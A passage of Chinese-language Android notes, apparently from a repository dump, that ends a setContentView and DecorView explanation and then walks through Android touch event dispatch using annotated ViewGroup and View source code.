android:theme=\"?attr/actionBarTheme\" />\n\t// 标题\n    <FrameLayout\n        android:layout_width=\"match_parent\" \n        android:layout_height=\"?android:attr/windowTitleSize\"\n        style=\"?android:attr/windowTitleBackgroundStyle\">\n        <TextView android:id=\"@android:id/title\" \n            style=\"?android:attr/windowTitleStyle\"\n            android:background=\"@null\"\n            android:fadingEdge=\"horizontal\"\n            android:gravity=\"center_vertical\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\" />\n    </FrameLayout>\n\t// 页面内容\n    <FrameLayout android:id=\"@android:id/content\"\n        android:layout_width=\"match_parent\" \n        android:layout_height=\"0dip\"\n        android:layout_weight=\"1\"\n        android:foregroundGravity=\"fill_horizontal|top\"\n        android:foreground=\"?android:attr/windowContentOverlay\" />\n</LinearLayout>\n```\n看到这里基本差不多了，我们就以第一次调用`setContentView`方法为例总结一下整体的流程。\n- 第一次调用`setContentView()`方法时会去创建一个`DecorView`，这就是整个窗口的根布局。\n- 接着回去根据我们设置的对应主题，来加载与之对应的布局文件并将其添加到`DecorView`中，然后找到该布局中`id=content`的`ViewGroup`赋值给`mContentParent`。\n- 将我们要设置的`Activity`对应的布局添加到`mContentParent`中。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Android Touch事件分发详解.md",
    "content": "Android Touch事件分发详解\n===\n\n先说一些基本的知识，方便后面分析源码时能更好理解。\n- 所有`Touch`事件都被封装成`MotionEvent`对象，包括`Touch`的位置、历史记录、第几个手指等.\n\n- 事件类型分为`ACTION_DOWN`,`ACTION_UP`,`ACTION_MOVE`,`ACTION_POINTER_DOWN`,`ACTION_POINTER_UP`,`ACTION_CANCEL`, 每个\n一个完整的事件以`ACTION_DOWN`开始`ACTION_UP`结束，并且`ACTION_CANCEL`只能由代码引起.一般对于`CANCEL`的处理和`UP`的相同。\n`CANCEL`的一个简单例子：手指在移动的过程中突然移动到了边界外，那么这时`ACTION_UP`事件了，所以这是的`CANCEL`和`UP`的处理是一致的。\n\n- 事件的处理分别为`dispatchTouchEveent()`分发事件(`TextView`等这种最小的`View`中不会有该方式)、`onInterceptTouchEvent()`拦截事件(`ViewGroup`中拦截事件)、`onTouchEvent()`消费事件.\n\n- 事件从`Activity.dispatchTouchEveent()`开始传递，只要没有停止拦截，就会从最上层(`ViewGroup`)开始一直往下传递，子`View`通过`onTouchEvent()`消费事件。(隧道式向下分发).\n\n- 如果时间从上往下一直传递到最底层的子`View`，但是该`View`没有消费该事件，那么该事件会反序网上传递(从该`View`传递给自己的`ViewGroup`，然后再传给更上层的`ViewGroup`直至传递给`Activity.onTouchEvent()`).\n(冒泡式向上处理).\n\n- 如果`View`没有消费`ACTION_DOWN`事件，之后其他的`MOVE`、`UP`等事件都不会传递过来.\n\n- 事件由父`View(ViewGroup)`传递给子`View`,`ViewGroup`可以通过`onInterceptTouchEvent()`方法对事件进行拦截，停止其往下传递，如果拦截(返回`true`)后该事件\n会直接走到该`ViewGroup`中的`onTouchEvent()`中，不会再往下传递给子`View`.如果从`DOWN`开始，之后的`MOVE`、`UP`都会直接在该`ViewGroup.onTouchEvent()`中进行处理。\n如果子`View`之前在处理某个事件，但是后续被`ViewGroup`拦截，那么子`View`会接收到`ACTION_CANCEL`.\n\n- `OnTouchListener`优先于`onTouchEvent()`对事件进行消费。\n\n- `TouchTarget`是保存手指点击区域属性的一个类，手指的所有移动过程都会被它记录下来, 包含被`touch`的`View`。  \n\n废话不多说，直接上源码，源码妥妥的是最新版5.0：\n我们先从`Activity.dispatchTouchEveent()`说起：\n\n```java\n/**\n * Called to process touch screen events.  You can override this to\n * intercept all touch screen events before they are dispatched to the\n * window.  Be sure to call this implementation for touch screen events\n * that should be handled normally.\n *\n * @param ev The touch screen event.\n *\n * @return boolean Return true if this event was consumed.\n */\npublic boolean dispatchTouchEvent(MotionEvent ev) {\n\tif (ev.getAction() == MotionEvent.ACTION_DOWN) {\n\t\tonUserInteraction();\n\t}\n\tif (getWindow().superDispatchTouchEvent(ev)) {\n\t\treturn true;\n\t}\n\treturn onTouchEvent(ev);\n}\n```\n\n代码一看能感觉出来`DOWN`事件比较特殊。我们继续走到`onUserInteraction()`代码中.        \n```java\n/**\n * Called whenever a key, touch, or trackball event is dispatched to the\n * activity.  Implement this method if you wish to know that the user has\n * interacted with the device in some way while your activity is running.\n * This callback and {@link #onUserLeaveHint} are intended to help\n * activities manage status bar notifications intelligently; specifically,\n * for helping activities determine the proper time to cancel a notfication.\n *\n * <p>All calls to your activity's {@link #onUserLeaveHint} callback will\n * be accompanied by calls to {@link #onUserInteraction}.  This\n * ensures that your activity will be told of relevant user activity such\n * as pulling down the notification pane and touching an item there.\n *\n * <p>Note that this callback will be invoked for the touch down action\n * that begins a touch gesture, but may not be invoked for the touch-moved\n * and touch-up actions that follow.\n *\n * @see #onUserLeaveHint()\n */\npublic void onUserInteraction() {\n}\n```\n但是该方法是空方法，没有具体实现。 我们往下看`getWindow().superDispatchTouchEvent(ev)`.      \n`getWindow()`获取到当前`Window`对象，表示顶层窗口，管理界面的显示和事件的响应；每个Activity 均会创建一个PhoneWindow对象，\n是Activity和整个View系统交互的接口，但是该类是一个抽象类。\n从文档中可以看到`The only existing implementation of this abstract class is android.policy.PhoneWindow, which you should instantiate when needing a Window. `，\n所以我们找到`PhoneWindow`类，查看它的`superDispatchTouchEvent()`方法。\n```java\n@Override\npublic boolean superDispatchTouchEvent(MotionEvent event) {\n\treturn mDecor.superDispatchTouchEvent(event);\n}\n```\n该方法又是调用了`mDecor.superDispatchTouchEvent(event)`, `mDecor`是什么呢？ 从名字中我们大概也能猜出来是当前窗口最顶层的`DecorView`，\n`Window`界面的最顶层的`View`对象。\n```java\n// This is the top-level view of the window, containing the window decor.\nprivate DecorView mDecor;\n```\n讲到这里不妨就提一下`DecorView`.      \n```java\nprivate final class DecorView extends FrameLayout implements RootViewSurfaceTaker {\n\t...\n}\n```\n它集成子`FrameLayout`所有很多时候我们在用布局工具查看的时候发现`Activity`的布局`FrameLayout`的。就是这个原因。       \n好了，我们接着看`DecorView`中的`superDispatchTouchEvent()`方法。 \n```java\npublic boolean superDispatchTouchEvent(MotionEvent event) {\n\treturn super.dispatchTouchEvent(event);\n}\n```\n是调用了`super.dispatchTouchEveent()`，而`DecorView`的父类是`FrameLayout`所以我们找到`FrameLayout.dispatchTouchEveent()`.\n我们看到`FrameLayout`中没有重写`dispatchTouchEveent()`方法，所以我们再找到`FrameLayout`的父类`ViewGroup`.看`ViewGroup.dispatchTouchEveent()`实现。\n新大陆浮现了...     \n```java\n/**\n * {@inheritDoc}\n */\n@Override\npublic boolean dispatchTouchEvent(MotionEvent ev) {\n\n\t// Consistency verifier for debugging purposes.是调试使用的，我们不用管这里了。\n\tif (mInputEventConsistencyVerifier != null) {\n\t\tmInputEventConsistencyVerifier.onTouchEvent(ev, 1);\n\t}\n\n\tboolean handled = false;\n\t// onFilterTouchEventForSecurity()用安全机制来过滤触摸事件，true为不过滤分发下去，false则销毁掉该事件。\n\t// 方法具体实现是去判断是否被其它窗口遮挡住了，如果遮挡住就要过滤掉该事件。\n\tif (onFilterTouchEventForSecurity(ev)) {\n\t\t// 没有被其它窗口遮住\n\t\tfinal int action = ev.getAction();\n\t\tfinal int actionMasked = action & MotionEvent.ACTION_MASK;\n\n\t\t// 下面这一块注释说的很清楚了，就是在`Down`的时候把所有的状态都重置，作为一个新事件的开始。\n\t\t// Handle an initial down.\n\t\tif (actionMasked == MotionEvent.ACTION_DOWN) {\n\t\t\t// Throw away all previous state when starting a new touch gesture.\n\t\t\t// The framework may have dropped the up or cancel event for the previous gesture\n\t\t\t// due to an app switch, ANR, or some other state change.\n\t\t\tcancelAndClearTouchTargets(ev);\n\t\t\tresetTouchState();\n\t\t\t// 如果是`Down`，那么`mFirstTouchTarget`到这里肯定是`null`.因为是新一系列手势的开始。\n\t\t\t// `mFirstTouchTarget`是处理第一个事件的目标。\n\t\t}\n\n\t\t// 检查是否拦截该事件(如果`onInterceptTouchEvent()`返回true就拦截该事件)\n\t\t// Check for interception.\n\t\tfinal boolean intercepted;\n\t\tif (actionMasked == MotionEvent.ACTION_DOWN\n\t\t\t\t|| mFirstTouchTarget != null) {\n\t\t\t// 标记事件不允许被拦截， 默认是`false`， 该值可以通过`requestDisallowInterceptTouchEvent(true)`方法来设置，\n\t\t\t// 通知父`View`不要拦截该`View`上的事件。\n\t\t\tfinal boolean disallowIntercept = (mGroupFlags & FLAG_DISALLOW_INTERCEPT) != 0;\n\t\t\tif (!disallowIntercept) {\n\t\t\t\t// 判断该`ViewGroup`是否要拦截该事件。`onInterceptTouchEvent()`方法默认返回`false`即不拦截。\n\t\t\t\tintercepted = onInterceptTouchEvent(ev);\n\t\t\t\tev.setAction(action); // restore action in case it was changed\n\t\t\t} else {\n\t\t\t\t// 子`View`通知父`View`不要拦截。这样就不会走到上面`onInterceptTouchEvent()`方法中了，\n\t\t\t\t// 所以父`View`就不会拦截该事件。\n\t\t\t\tintercepted = false;\n\t\t\t}\n\t\t} else {\n\t\t\t// 注释比较清楚了，就是没有目标来处理该事件，而且也不是一个新的事件`Down`事件(新事件的开始), \n\t\t\t// 我们应该拦截下他。\n\t\t\t// There are no touch targets and this action is not an initial down\n\t\t\t// so this view group continues to intercept touches.\n\t\t\tintercepted = true;\n\t\t}\n\n\t\t// Check for cancelation.检查当前是否是`Cancel`事件或者是有`Cancel`标记。\n\t\tfinal boolean canceled = resetCancelNextUpFlag(this)\n\t\t\t\t|| actionMasked == MotionEvent.ACTION_CANCEL;\n\n\t\t// Update list of touch targets for pointer down, if needed. 这行代码为是否需要将当前的触摸事件分发给多个子`View`，\n\t\t// 默认为`true`，分发给多个`View`（比如几个子`View`位置重叠）。默认是true\n\t\tfinal boolean split = (mGroupFlags & FLAG_SPLIT_MOTION_EVENTS) != 0;\n\t\t\n\t\t// 保存当前要分发给的目标\n\t\tTouchTarget newTouchTarget = null;\n\t\tboolean alreadyDispatchedToNewTouchTarget = false;\n\t\t\n\t\t// 如果没取消也不拦截，进入方法内部\n\t\tif (!canceled && !intercepted) {\n\t\t\n\t\t\t// 下面这部分代码的意思其实就是找到该事件位置下的`View`(可见或者是在动画中的View), 并且与`pointID`关联。\n\t\t\tif (actionMasked == MotionEvent.ACTION_DOWN\n\t\t\t\t\t|| (split && actionMasked == MotionEvent.ACTION_POINTER_DOWN)\n\t\t\t\t\t|| actionMasked == MotionEvent.ACTION_HOVER_MOVE) {\n\t\t\t\tfinal int actionIndex = ev.getActionIndex(); // always 0 for down\n\t\t\t\tfinal int idBitsToAssign = split ? 1 << ev.getPointerId(actionIndex)\n\t\t\t\t\t\t: TouchTarget.ALL_POINTER_IDS;\n\n\t\t\t\t// Clean up earlier touch targets for this pointer id in case they\n\t\t\t\t// have become out of sync.\n\t\t\t\tremovePointersFromTouchTargets(idBitsToAssign);\n\n\t\t\t\tfinal int childrenCount = mChildrenCount;\n\t\t\t\tif (newTouchTarget == null && childrenCount != 0) {\n\t\t\t\t\tfinal float x = ev.getX(actionIndex);\n\t\t\t\t\tfinal float y = ev.getY(actionIndex);\n\t\t\t\t\t// Find a child that can receive the event.\n\t\t\t\t\t// Scan children from front to back.\n\t\t\t\t\tfinal ArrayList<View> preorderedList = buildOrderedChildList();\n\t\t\t\t\tfinal boolean customOrder = preorderedList == null\n\t\t\t\t\t\t\t&& isChildrenDrawingOrderEnabled();\n\t\t\t\t\t// 遍历找子`View`进行分发了。\n\t\t\t\t\tfinal View[] children = mChildren;\n\t\t\t\t\tfor (int i = childrenCount - 1; i >= 0; i--) {\n\t\t\t\t\t\tfinal int childIndex = customOrder\n\t\t\t\t\t\t\t\t? getChildDrawingOrder(childrenCount, i) : i;\n\t\t\t\t\t\tfinal View child = (preorderedList == null)\n\t\t\t\t\t\t\t\t? children[childIndex] : preorderedList.get(childIndex);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t// `canViewReceivePointerEvents()`方法会去判断这个`View`是否可见或者在播放动画，\n\t\t\t\t\t\t// 只有这两种情况下可以接受事件的分发\n\t\t\t\t\t\t\n\t\t\t\t\t\t// `isTransformedTouchPointInView`判断这个事件的坐标值是否在该`View`内。\n\t\t\t\t\t\tif (!canViewReceivePointerEvents(child)\n\t\t\t\t\t\t\t\t|| !isTransformedTouchPointInView(x, y, child, null)) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// 找到该`View`对应的在`mFristTouchTarget`中的存储的目标， 判断这个`View`可能已经不是之前`mFristTouchTarget`中的`View`了。\n\t\t\t\t\t\t// 如果找不到就返回null, 这种情况是用于多点触摸， 比如在同一个`View`上按下了多跟手指。\n\t\t\t\t\t\tnewTouchTarget = getTouchTarget(child);\n\t\t\t\t\t\tif (newTouchTarget != null) {\n\t\t\t\t\t\t\t// Child View已经接受了这个事件了\n\t\t\t\t\t\t\t// Child is already receiving touch within its bounds.\n\t\t\t\t\t\t\t// Give it the new pointer in addition to the ones it is handling.\n\t\t\t\t\t\t\tnewTouchTarget.pointerIdBits |= idBitsToAssign;\n\t\t\t\t\t\t\t// 找到该View了，不用再循环找了\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tresetCancelNextUpFlag(child);\n\t\t\t\t\t\t// 如果上面没有break，只有newTouchTarget为null，说明上面我们找到的Child View和之前的肯定不是同一个了， \n\t\t\t\t\t\t// 是新增的， 比如多点触摸的时候，一个手指按在了这个`View`上，另一个手指按在了另一个`View`上。\n\t\t\t\t\t\t// 这时候我们就看child是否分发该事件。dispatchTransformedTouchEvent如果child为null，就直接该ViewGroup出来事件\n\t\t\t\t\t\t// 如果child不为null，就调用child.dispatchTouchEvent\n\t\t\t\t\t\tif (dispatchTransformedTouchEvent(ev, false, child, idBitsToAssign)) {\n\t\t\t\t\t\t\t// 如果这个Child View能分发，那我们就要把之前存储的值改变成现在的Child View。\n\t\t\t\t\t\t\t// Child wants to receive touch within its bounds.\n\t\t\t\t\t\t\tmLastTouchDownTime = ev.getDownTime();\n\t\t\t\t\t\t\tif (preorderedList != null) {\n\t\t\t\t\t\t\t\t// childIndex points into presorted list, find original index\n\t\t\t\t\t\t\t\tfor (int j = 0; j < childrenCount; j++) {\n\t\t\t\t\t\t\t\t\tif (children[childIndex] == mChildren[j]) {\n\t\t\t\t\t\t\t\t\t\tmLastTouchDownIndex = j;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tmLastTouchDownIndex = childIndex;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tmLastTouchDownX = ev.getX();\n\t\t\t\t\t\t\tmLastTouchDownY = ev.getY();\n\t\t\t\t\t\t\t// 赋值成现在的Child View对应的值，并且会把`mFirstTouchTarget`也改成该值(mFristTouchTarget`与`newTouchTarget`是一样的)。\n\t\t\t\t\t\t\tnewTouchTarget = addTouchTarget(child, idBitsToAssign);\n\t\t\t\t\t\t\t// 分发给子`View`了，不用再继续循环了\n\t\t\t\t\t\t\talreadyDispatchedToNewTouchTarget = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (preorderedList != null) preorderedList.clear();\n\t\t\t\t}\n\n\t\t\t\t// `newTouchTarget == null`就是没有找到新的可以分发该事件的子`View`，那我们只能用上一次的分发对象了。\n\t\t\t\tif (newTouchTarget == null && mFirstTouchTarget != null) {\n\t\t\t\t\t// Did not find a child to receive the event.\n\t\t\t\t\t// Assign the pointer to the least recently added target.\n\t\t\t\t\tnewTouchTarget = mFirstTouchTarget;\n\t\t\t\t\twhile (newTouchTarget.next != null) {\n\t\t\t\t\t\tnewTouchTarget = newTouchTarget.next;\n\t\t\t\t\t}\n\t\t\t\t\tnewTouchTarget.pointerIdBits |= idBitsToAssign;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// DOWN事件在上面会去找touch target\n\t\t// Dispatch to touch targets.\n\t\tif (mFirstTouchTarget == null) {\n\t\t\t// dispatchTransformedTouchEvent方法中如果child为null，那么就调用super.dispatchTouchEvent(transformedEvent);否则调用child.dispatchTouchEvent(transformedEvent)。\n\t\t\t// `super.dispatchTouchEvent()`也就是说，此时`Viewgroup`处理`touch`消息跟普通`view`一致。普通`View`类内部会调用`onTouchEvent()`方法\n\t\t\t// No touch targets so treat this as an ordinary view. 自己处理\n\t\t\thandled = dispatchTransformedTouchEvent(ev, canceled, null,\n\t\t\t\t\tTouchTarget.ALL_POINTER_IDS);\n\t\t} else {\n\t\t\t// 分发\n\t\t\t// Dispatch to touch targets, excluding the new touch target if we already\n\t\t\t// dispatched to it.  Cancel touch targets if necessary.\n\t\t\tTouchTarget predecessor = null;\n\t\t\tTouchTarget target = mFirstTouchTarget;\n\t\t\twhile (target != null) {\n\t\t\t\tfinal TouchTarget next = target.next;\n\t\t\t\t// 找到了新的子`View`，并且这个是新加的对象，上面已经处理过了。\n\t\t\t\tif (alreadyDispatchedToNewTouchTarget && target == newTouchTarget) {\n\t\t\t\t\thandled = true;\n\t\t\t\t} else {\n\t\t\t\t\t// 否则都调用dispatchTransformedTouchEvent处理，传递给child\n\t\t\t\t\tfinal boolean cancelChild = resetCancelNextUpFlag(target.child)\n\t\t\t\t\t\t\t|| intercepted;\n\t\t\t\t\t\t\t\n\t\t\t\t\t// 正常分发\n\t\t\t\t\tif (dispatchTransformedTouchEvent(ev, cancelChild,\n\t\t\t\t\t\t\ttarget.child, target.pointerIdBits)) {\n\t\t\t\t\t\thandled = true;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// 如果是onInterceptTouchEvent返回true就会遍历mFirstTouchTarget全部给销毁，这就是为什么onInterceptTouchEvent返回true，之后所有的时间都不会再继续分发的了。\n\t\t\t\t\tif (cancelChild) {\n\t\t\t\t\t\tif (predecessor == null) {\n\t\t\t\t\t\t\tmFirstTouchTarget = next;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tpredecessor.next = next;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttarget.recycle();\n\t\t\t\t\t\ttarget = next;\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tpredecessor = target;\n\t\t\t\ttarget = next;\n\t\t\t}\n\t\t}\n\n\t\t// Update list of touch targets for pointer up or cancel, if needed.\n\t\tif (canceled\n\t\t\t\t|| actionMasked == MotionEvent.ACTION_UP\n\t\t\t\t|| actionMasked == MotionEvent.ACTION_HOVER_MOVE) {\n\t\t\tresetTouchState();\n\t\t} else if (split && actionMasked == MotionEvent.ACTION_POINTER_UP) {\n\t\t\t// 当某个手指抬起的时候，清除他相关的数据。\n\t\t\tfinal int actionIndex = ev.getActionIndex();\n\t\t\tfinal int idBitsToRemove = 1 << ev.getPointerId(actionIndex);\n\t\t\tremovePointersFromTouchTargets(idBitsToRemove);\n\t\t}\n\t}\n\n\tif (!handled && mInputEventConsistencyVerifier != null) {\n\t\tmInputEventConsistencyVerifier.onUnhandledEvent(ev, 1);\n\t}\n\treturn handled;\n}\n```   \n\n接下来还要说说`dispatchTransformedTouchEvent()`方法，虽然上面也说了大体功能，但是看一下源码能说明另一个问题：   \n```java\n/**\n * Transforms a motion event into the coordinate space of a particular child view,\n * filters out irrelevant pointer ids, and overrides its action if necessary.\n * If child is null, assumes the MotionEvent will be sent to this ViewGroup instead.\n */\nprivate boolean dispatchTransformedTouchEvent(MotionEvent event, boolean cancel,\n\t\tView child, int desiredPointerIdBits) {\n\tfinal boolean handled;\n\n\t// Canceling motions is a special case.  We don't need to perform any transformations\n\t// or filtering.  The important part is the action, not the contents.\n\tfinal int oldAction = event.getAction();\n\t\n\t// 这就是为什么时间被拦截之后，之前处理过该事件的`View`会收到`CANCEL`.\n\tif (cancel || oldAction == MotionEvent.ACTION_CANCEL) {\n\t\tevent.setAction(MotionEvent.ACTION_CANCEL);\n\t\tif (child == null) {\n\t\t\thandled = super.dispatchTouchEvent(event);\n\t\t} else {\n\t\t\t// 子`View`去处理，如果子`View`仍然是`ViewGroup`那还是同样的处理，如果子`View`是普通`View`，普通`View`的`dispatchTouchEveent()`会调用`onTouchEvent()`.\n\t\t\thandled = child.dispatchTouchEvent(event);\n\t\t}\n\t\tevent.setAction(oldAction);\n\t\treturn handled;\n\t}\n\n\t// Calculate the number of pointers to deliver.\n\tfinal int oldPointerIdBits = event.getPointerIdBits();\n\tfinal int newPointerIdBits = oldPointerIdBits & desiredPointerIdBits;\n\n\t// If for some reason we ended up in an inconsistent state where it looks like we\n\t// might produce a motion event with no pointers in it, then drop the event.\n\tif (newPointerIdBits == 0) {\n\t\treturn false;\n\t}\n\n\t// If the number of pointers is the same and we don't need to perform any fancy\n\t// irreversible transformations, then we can reuse the motion event for this\n\t// dispatch as long as we are careful to revert any changes we make.\n\t// Otherwise we need to make a copy.\n\tfinal MotionEvent transformedEvent;\n\tif (newPointerIdBits == oldPointerIdBits) {\n\t\tif (child == null || child.hasIdentityMatrix()) {\n\t\t\tif (child == null) {\n\t\t\t\thandled = super.dispatchTouchEvent(event);\n\t\t\t} else {\n\t\t\t\tfinal float offsetX = mScrollX - child.mLeft;\n\t\t\t\tfinal float offsetY = mScrollY - child.mTop;\n\t\t\t\tevent.offsetLocation(offsetX, offsetY);\n\n\t\t\t\thandled = child.dispatchTouchEvent(event);\n\n\t\t\t\tevent.offsetLocation(-offsetX, -offsetY);\n\t\t\t}\n\t\t\treturn handled;\n\t\t}\n\t\ttransformedEvent = MotionEvent.obtain(event);\n\t} else {\n\t\ttransformedEvent = event.split(newPointerIdBits);\n\t}\n\n\t// Perform any necessary transformations and dispatch.\n\tif (child == null) {\n\t\thandled = super.dispatchTouchEvent(transformedEvent);\n\t} else {\n\t\tfinal float offsetX = mScrollX - child.mLeft;\n\t\tfinal float offsetY = mScrollY - child.mTop;\n\t\ttransformedEvent.offsetLocation(offsetX, offsetY);\n\t\tif (! child.hasIdentityMatrix()) {\n\t\t\ttransformedEvent.transform(child.getInverseMatrix());\n\t\t}\n\n\t\thandled = child.dispatchTouchEvent(transformedEvent);\n\t}\n\n\t// Done.\n\ttransformedEvent.recycle();\n\treturn handled;\n}\n```\n\n\n上面讲了`ViewGroup`的`dispatchTouchEveent()`有些地方会调用`super.dispatchTouchEveent()`，而`ViewGroup`的父类就是`View`，接下来我们看一下`View.dispatchTouchEveent()`方法：\n```java\n/**\n * Pass the touch screen motion event down to the target view, or this\n * view if it is the target.\n *\n * @param event The motion event to be dispatched.\n * @return True if the event was handled by the view, false otherwise.\n */\npublic boolean dispatchTouchEvent(MotionEvent event) {\n\tboolean result = false;\n\t// 调试用\n\tif (mInputEventConsistencyVerifier != null) {\n\t\tmInputEventConsistencyVerifier.onTouchEvent(event, 0);\n\t}\n\n\tfinal int actionMasked = event.getActionMasked();\n\tif (actionMasked == MotionEvent.ACTION_DOWN) {\n\t\t// Defensive cleanup for new gesture\n\t\tstopNestedScroll();\n\t}\n\n\t// 判断该`View`是否被其它`View`遮盖住。\n\tif (onFilterTouchEventForSecurity(event)) {\n\t\t//noinspection SimplifiableIfStatement\n\t\tListenerInfo li = mListenerInfo;\n\t\tif (li != null && li.mOnTouchListener != null\n\t\t\t\t&& (mViewFlags & ENABLED_MASK) == ENABLED\n\t\t\t\t&& li.mOnTouchListener.onTouch(this, event)) {\n\t\t\t// 先执行`listener`.\n\t\t\tresult = true;\n\t\t}\n\n\t\tif (!result && onTouchEvent(event)) {\n\t\t\t// 执行`onTouchEvent()`.\n\t\t\tresult = true;\n\t\t}\n\t}\n\n\tif (!result && mInputEventConsistencyVerifier != null) {\n\t\tmInputEventConsistencyVerifier.onUnhandledEvent(event, 0);\n\t}\n\n\t// Clean up after nested scrolls if this is the end of a gesture;\n\t// also cancel it if we tried an ACTION_DOWN but we didn't want the rest\n\t// of the gesture.\n\tif (actionMasked == MotionEvent.ACTION_UP ||\n\t\t\tactionMasked == MotionEvent.ACTION_CANCEL ||\n\t\t\t(actionMasked == MotionEvent.ACTION_DOWN && !result)) {\n\t\tstopNestedScroll();\n\t}\n\n\treturn result;\n}\n```\n\n通过上面的分析我们看到`View.dispatchTouchEvent()`里面会调用到`onTouchEvent()`来消耗事件。那么`onTouchEvent()`是如何处理的呢？下面我们看一下\n`View.onTouchEvent()`源码： \n```java\n/**\n * Implement this method to handle touch screen motion events.\n * <p>\n * If this method is used to detect click actions, it is recommended that\n * the actions be performed by implementing and calling\n * {@link #performClick()}. This will ensure consistent system behavior,\n * including:\n * <ul>\n * <li>obeying click sound preferences\n * <li>dispatching OnClickListener calls\n * <li>handling {@link AccessibilityNodeInfo#ACTION_CLICK ACTION_CLICK} when\n * accessibility features are enabled\n * </ul>\n *\n * @param event The motion event.\n * @return True if the event was handled, false otherwise.\n */\npublic boolean onTouchEvent(MotionEvent event) {\n\tfinal float x = event.getX();\n\tfinal float y = event.getY();\n\tfinal int viewFlags = mViewFlags;\n\n\t// 对disable按钮的处理，注释说的比较明白，一个disable但是clickable的view仍然会消耗事件,只是不响应而已。\n\tif ((viewFlags & ENABLED_MASK) == DISABLED) {\n\t\tif (event.getAction() == MotionEvent.ACTION_UP && (mPrivateFlags & PFLAG_PRESSED) != 0) {\n\t\t\tsetPressed(false);\n\t\t}\n\t\t// A disabled view that is clickable still consumes the touch\n\t\t// events, it just doesn't respond to them.\n\t\treturn (((viewFlags & CLICKABLE) == CLICKABLE ||\n\t\t\t\t(viewFlags & LONG_CLICKABLE) == LONG_CLICKABLE));\n\t}\n\n\t// 关于TouchDelegate,文档中是这样说的The delegate to handle touch events that are physically in this view\n    // but should be handled by another view. 就是说如果两个View, View2在View1中，View1比较大，如果我们想点击\n\t// View1的时候，让View2去响应点击事件，这时候就需要使用TouchDelegate来设置。\n\t// 简单的理解就是如果这个View有自己的时间委托处理人，就交给委托人处理。\n\tif (mTouchDelegate != null) {\n\t\tif (mTouchDelegate.onTouchEvent(event)) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\tif (((viewFlags & CLICKABLE) == CLICKABLE ||\n\t\t\t(viewFlags & LONG_CLICKABLE) == LONG_CLICKABLE)) {\n\t    // 这个View可点击\n\t\tswitch (event.getAction()) {\n\t\t\tcase MotionEvent.ACTION_UP:\n\t\t\t    // 最好先看DOWN后再看MOVE最后看UP。\n\t\t\t\t// PFLAG_PREPRESSED 表示在一个可滚动的容器中,要稍后才能确定是按下还是滚动.\n                // PFLAG_PRESSED 表示不是在一个可滚动的容器中,已经可以确定按下这一操作.\n\t\t\t\tboolean prepressed = (mPrivateFlags & PFLAG_PREPRESSED) != 0;\n\t\t\t\tif ((mPrivateFlags & PFLAG_PRESSED) != 0 || prepressed) {\n\t\t\t\t\t// 处理点击或长按事件\n\t\t\t\t\t// take focus if we don't have it already and we should in\n\t\t\t\t\t// touch mode.\n\t\t\t\t\tboolean focusTaken = false;\n\t\t\t\t\tif (isFocusable() && isFocusableInTouchMode() && !isFocused()) \n\t\t\t\t\t\t// 如果现在还没获取到焦点，就再获取一次焦点\n\t\t\t\t\t\tfocusTaken = requestFocus();\n\t\t\t\t\t}\n\n\t\t\t\t\t// 在前面`DOWN`事件的时候会延迟显示`View`的`pressed`状态,用户可能在我们还没有显示按下状态效果时就不按了.我们还是得在进行实际的点击操作时,让用户看到效果。\n\t\t\t\t\tif (prepressed) {\n\t\t\t\t\t\t// The button is being released before we actually\n\t\t\t\t\t\t// showed it as pressed.  Make it show the pressed\n\t\t\t\t\t\t// state now (before scheduling the click) to ensure\n\t\t\t\t\t\t// the user sees it.\n\t\t\t\t\t\tsetPressed(true, x, y);\n\t\t\t\t   }\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif (!mHasPerformedLongPress) {\n\t\t\t\t\t\t// 判断不是长按\n\t\t\t\t\t\t\n\t\t\t\t\t\t// This is a tap, so remove the longpress check\n\t\t\t\t\t\tremoveLongPressCallback();\n\n\t\t\t\t\t\t// Only perform take click actions if we were in the pressed state\n\t\t\t\t\t\tif (!focusTaken) {\n\t\t\t\t\t\t\t// Use a Runnable and post this rather than calling\n\t\t\t\t\t\t\t// performClick directly. This lets other visual state\n\t\t\t\t\t\t\t// of the view update before click actions start.\n\t\t\t\t\t\t\tif (mPerformClick == null) {\n\t\t\t\t\t\t\t\tmPerformClick = new PerformClick();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// PerformClick就是个Runnable,里面执行performClick()方法。performClick()方法中怎么执行呢？我们在后面再说。\n\t\t\t\t\t\t\tif (!post(mPerformClick)) {\n\t\t\t\t\t\t\t\tperformClick();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (mUnsetPressedState == null) {\n\t\t\t\t\t\tmUnsetPressedState = new UnsetPressedState();\n\t\t\t\t\t}\n\t\t\t\t\t// 取消按下状态，UnsetPressedState也是个Runnable,里面执行setPressed(false)\n\t\t\t\t\tif (prepressed) {\n\t\t\t\t\t\tpostDelayed(mUnsetPressedState,\n\t\t\t\t\t\t\t\tViewConfiguration.getPressedStateDuration());\n\t\t\t\t\t} else if (!post(mUnsetPressedState)) {\n\t\t\t\t\t\t// If the post failed, unpress right now\n\t\t\t\t\t\tmUnsetPressedState.run();\n\t\t\t\t\t}\n\n\t\t\t\t\tremoveTapCallback();\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase MotionEvent.ACTION_DOWN:\n\t\t\t\tmHasPerformedLongPress = false;\n\t\t\t\t// 